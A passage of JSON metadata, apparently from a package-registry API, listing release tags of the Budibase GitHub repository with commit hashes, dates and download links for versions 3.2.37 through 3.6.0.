ithub.com/Budibase/budibase/tar.gz/3.6.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.6.0/manifests"},{"name":"3.5.3","sha":"22d4374adf4dd41cc327b958ff8ba5bce9ce6a0c","kind":"commit","published_at":"2025-03-13T12:06:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.5.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.3/manifests"},{"name":"3.5.2","sha":"87f0104fc3aeedaffc44e83add6ccf79c4cbb7eb","kind":"commit","published_at":"2025-03-12T13:40:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.5.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.2/manifests"},{"name":"3.5.1","sha":"ca271abc1dcaa9a3477fa56befe29a11d087f01f","kind":"commit","published_at":"2025-03-12T13:10:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.5.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.1/manifests"},{"name":"3.5.0","sha":"17f737e545c7eb4b6cd8d297fd17b10e6239a01e","kind":"commit","published_at":"2025-03-11T11:00:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.5.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.5.0/manifests"},{"name":"3.4.24","sha":"ded8272bc553515df06afd77779917ae88e64f0e","kind":"commit","published_at":"2025-03-05T11:58:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.24","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.24/manifests"},{"name":"3.4.23","sha":"daa4b1e397f836cc797993e04d0cb05bc0b77af4","kind":"commit","published_at":"2025-03-04T15:00:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.23","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.23/manifests"},{"name":"3.4.22","sha":"a4eb5642a823451fe620b7992dfb23e8fc0ebe73","kind":"commit","published_at":"2025-03-03T11:13:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.22","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.22/manifests"},{"name":"3.4.21","sha":"6b67eaf9a3c6d1e9f8aa1cf083ba7f32bb79350f","kind":"commit","published_at":"2025-02-27T17:07:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.21","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.21/manifests"},{"name":"3.4.20","sha":"d6d32ceaadde4597554f786d6e98317df2674ddf","kind":"commit","published_at":"2025-02-26T14:49:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.20","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.20/manifests"},{"name":"3.4.19","sha":"7b9cc6eea4263a2f4c716121230ae59864461d95","kind":"commit","published_at":"2025-02-26T14:11:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.19","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.19/manifests"},{"name":"3.4.18","sha":"daf317b0a72c96eb815e473ea8d283c63586def9","kind":"commit","published_at":"2025-02-26T13:19:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.18","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.18/manifests"},{"name":"3.4.17","sha":"3aeead4a7bfb0513314566cc5530ed04bb942d46","kind":"commit","published_at":"2025-02-25T09:27:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.17","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.17/manifests"},{"name":"3.4.16","sha":"add89b87d230d755b949cc4d53cb2f6227777acf","kind":"commit","published_at":"2025-02-21T14:02:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.16","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.16/manifests"},{"name":"3.4.15","sha":"1328076d03f88d656edb1a188c24d121904297fa","kind":"commit","published_at":"2025-02-20T10:26:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.15/manifests"},{"name":"3.4.14","sha":"406c60c9737248b626a4d6863746e98d55c8e2e8","kind":"commit","published_at":"2025-02-20T09:24:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.14/manifests"},{"name":"3.4.13","sha":"72074dfd60cd8fdf04ba74bc688628743376a066","kind":"commit","published_at":"2025-02-19T10:41:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.13/manifests"},{"name":"3.4.12","sha":"eac80ac9aba371ea10a6ea6bb8758d4fd828dca8","kind":"commit","published_at":"2025-02-19T08:37:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.12/manifests"},{"name":"3.4.11","sha":"4c54a58db43a457280fa3a6401c540c73ffa63be","kind":"commit","published_at":"2025-02-17T10:37:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.11/manifests"},{"name":"3.4.10","sha":"257151dfa5b785244d46865e1e1c409a7214f6f7","kind":"commit","published_at":"2025-02-15T19:29:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.10/manifests"},{"name":"3.4.9","sha":"c3a864cc0484bde149d93a95a2b7030b149542f4","kind":"commit","published_at":"2025-02-14T09:48:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.9/manifests"},{"name":"3.4.8","sha":"e837fccded5cf09bf3ea11526077c33b318d48c2","kind":"commit","published_at":"2025-02-13T18:42:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.8/manifests"},{"name":"3.4.7","sha":"82dc024623158431d5ed7b5bd0cd52c7f01819f2","kind":"commit","published_at":"2025-02-13T12:21:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.7/manifests"},{"name":"3.4.6","sha":"cb9a1f4e2136fe78fd9ba116cd4b08a992af72da","kind":"commit","published_at":"2025-02-11T12:25:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.6/manifests"},{"name":"3.4.5","sha":"973f6e6ae80c1de3b23664408c29e11384fb6be1","kind":"commit","published_at":"2025-02-10T15:44:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.5/manifests"},{"name":"3.4.4","sha":"ad063b7de6c92664fd22af20cfbdb7d358358cf1","kind":"commit","published_at":"2025-02-07T14:10:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.4/manifests"},{"name":"3.4.3","sha":"31664babfe11d69ab074d1f7293473a1a83d5d93","kind":"commit","published_at":"2025-02-05T16:33:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.3/manifests"},{"name":"3.4.2","sha":"b98a1931d0e368104ee685bd4f288726b934b4e2","kind":"commit","published_at":"2025-02-05T14:36:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"251974d0b3b25ce630c80c54e6c7dab755d72037","kind":"commit","published_at":"2025-02-04T09:55:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.1/manifests"},{"name":"3.4.0","sha":"23b56b5b7692087f967b543b553ed40740a7f37e","kind":"commit","published_at":"2025-02-03T15:51:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.4.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.4.0/manifests"},{"name":"3.3.6","sha":"4a68d1d09be3087f63058ef47d1010608db1916b","kind":"commit","published_at":"2025-01-31T11:24:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.3.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.6/manifests"},{"name":"3.3.5","sha":"2dc3a693a8c588da2036cbe5d8de43601d8e4e42","kind":"commit","published_at":"2025-01-30T15:22:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.3.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.5/manifests"},{"name":"3.3.4","sha":"e94bbbde34ba4db234598fab49fbd56e79e0fd7b","kind":"commit","published_at":"2025-01-30T12:36:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.3.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.4/manifests"},{"name":"3.3.3","sha":"0b9eb4a8d588b33e915b735a8bad381fe989527d","kind":"commit","published_at":"2025-01-28T10:24:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.3.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.3/manifests"},{"name":"3.3.2","sha":"69b5dce48a4b43c8ee074ebd3a1cb558ec37b80c","kind":"commit","published_at":"2025-01-28T10:00:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.3.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"abc1ba33356b3a2a8cb67ca586e53c8e712d74dd","kind":"commit","published_at":"2025-01-22T15:46:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.3.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"1294f83ccb9d80f7bcacaf89e9cab7b43f6c4d70","kind":"commit","published_at":"2025-01-22T11:09:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.3.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.3.0/manifests"},{"name":"3.2.47","sha":"6942e0ab98542da13d75d49800fd843d0c488cd3","kind":"commit","published_at":"2025-01-21T13:48:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.47","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.47/manifests"},{"name":"3.2.46","sha":"4d90751988811729d296a3888a153a41661da39d","kind":"commit","published_at":"2025-01-17T14:30:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.46","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.46/manifests"},{"name":"3.2.45","sha":"709b3fb317ed50515ec73ad391167888674a0ced","kind":"commit","published_at":"2025-01-16T17:05:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.45","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.45/manifests"},{"name":"3.2.44","sha":"29e9c9bb678c3a41d95bb5ac81107515c261422c","kind":"commit","published_at":"2025-01-15T11:16:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.44","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.44/manifests"},{"name":"3.2.43","sha":"4c1013e4d37c070eeb8ffb2b71fbd03f81b2c79d","kind":"commit","published_at":"2025-01-15T09:04:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.43","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.43/manifests"},{"name":"3.2.42","sha":"2acbf29e625f60452adb3a8f2f696b05641f1939","kind":"commit","published_at":"2025-01-14T16:20:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.42","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.42/manifests"},{"name":"3.2.41","sha":"1fb530dd8e23a32383731c0bfd09617a2a204804","kind":"commit","published_at":"2025-01-14T09:01:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.41","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.41/manifests"},{"name":"3.2.40","sha":"6a4d86434eea32546e1770744a2d81f4bc056aa3","kind":"commit","published_at":"2025-01-13T14:38:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.40","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.40/manifests"},{"name":"3.2.39","sha":"6ab389edde98138f90b85f216cea44b6af804875","kind":"commit","published_at":"2025-01-10T15:51:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.39","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.39/manifests"},{"name":"3.2.38","sha":"ed6adbae08cb76f4278084b6d84fc9dcf0f65d45","kind":"commit","published_at":"2025-01-10T11:52:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.38","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.38/manifests"},{"name":"3.2.37","sha":"16ec75b272124b7516bd5a50d496099701194333","kind":"commit","published_at":"2025-01-08T10:28:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.37","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.37","manifests_url":"https://repos.ecosyste.ms/